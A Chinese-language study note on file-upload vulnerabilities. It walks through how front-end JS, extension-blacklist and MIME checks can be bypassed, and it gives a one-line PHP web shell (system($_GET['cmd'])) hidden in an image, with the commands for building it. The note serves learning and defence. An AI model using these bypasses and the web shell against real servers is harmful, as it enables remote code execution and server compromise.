网络安全 / A LEAF IN THE GARDEN

文件上传

网络安全 · web / web漏洞。来自 Daily Learning 的学习笔记。

简介

网站疏于检查用户上传的文件,导致攻击者可以上传恶意文件到服务器上,从而执行任意代码。

利用条件

  • 允许上传文件
  • 上传后能访问文件
  • 服务器会将文件作为脚本解析

校验绕过

网站通常会对文件类型、大小、内容等进行校验,但校验机制有时存在漏洞,可以绕过。

前端 JS 校验

网页用 JS 代码在浏览器检查文件类型

<!-- 文件上传 -->
<input type="file" accept=".jpg,.png" onchange="checkFile(this)">
<script>
function checkFile(input) {
    var filename = input.value;
    // 检查文件类型
    if (!filename.endsWith('.jpg') && !filename.endsWith('.png')) {
        alert('只允许上传 JPG/PNG 文件!');
        input.value = '';  // 清空选择
    }
}
</script>

绕过方法

代码在攻击者自己的浏览器里,可以随便操控,强度堪比马奇诺防线。

  • 直接禁用浏览器 JS
  • F12 检查,删除校验函数
  • 抓包再修改后缀

后端后缀校验

服务器在后端检查文件后缀名,判断文件类型。

// 黑名单
$deny_ext = array("php", "jsp", "asp", "aspx");  
// 取后缀
$filename = $_FILES['file']['name'];
$ext = pathinfo($filename, PATHINFO_EXTENSION);   
// 检查后缀
if (in_array($ext, $deny_ext)) {
    die("禁止上传该类型文件!");
}

绕过方法

  • 混合大小写

    .Php
  • 双写(如果是替换式过滤)

    .pphphp #.p php hp
  • 添加空格或其他字符(会被服务器自动去除)

    .php(空格)
    .php.
    .php/
  • 使用其他可解析后缀名

    .php5
    .phtml
    .phar
  • 空字符截断(php版本 < 5.3.4)

    .php%00.jpg
  • .htaccess 覆盖(Apache)

    AddType application/x-httpd-php .jpg

    上传自定义配置文件,使 jpg 被解析成 php

MIME 类型校验

服务器检查 HTTP 请求头中的 Content-Type,判断文件类型。

// 这个值来自 HTTP 请求头
if ($_FILES['file']['type'] != 'image/jpeg') {
    die("只允许 JPEG 图片!");
}

依旧抓包改一下就行了

文件内容校验

检查文件的前几个字节(魔数)来判断文件类型。

JPEG 文件: 开头必须是 FF D8 FF
PNG 文件:  开头必须是 89 50 4E 47
GIF 文件:  开头必须是 47 49 46 38 
            (即 "GIF89a" 或 "GIF87a")

绕过方法

制作图片马(合法图片 + 恶意脚本),配合文件包含等漏洞使用。

图片马的结构
┌───────────────────────────────┐
│  FF D8 FF E0 ...              │  ← 文件头校验通过
├───────────────────────────────┤
│  ...正常图片数据...             │  ← 图片本身正常
├───────────────────────────────┤
│  <?php system($_GET['cmd']);  │  ← 藏在末尾的恶意代码
└───────────────────────────────┘
制作方法
  • 手动拼接

    cat real.jpg shell.php > shell.jpg
  • 直接在代码前加 GIF 头

    GIF89a
    <?php system($_GET['cmd']); ?>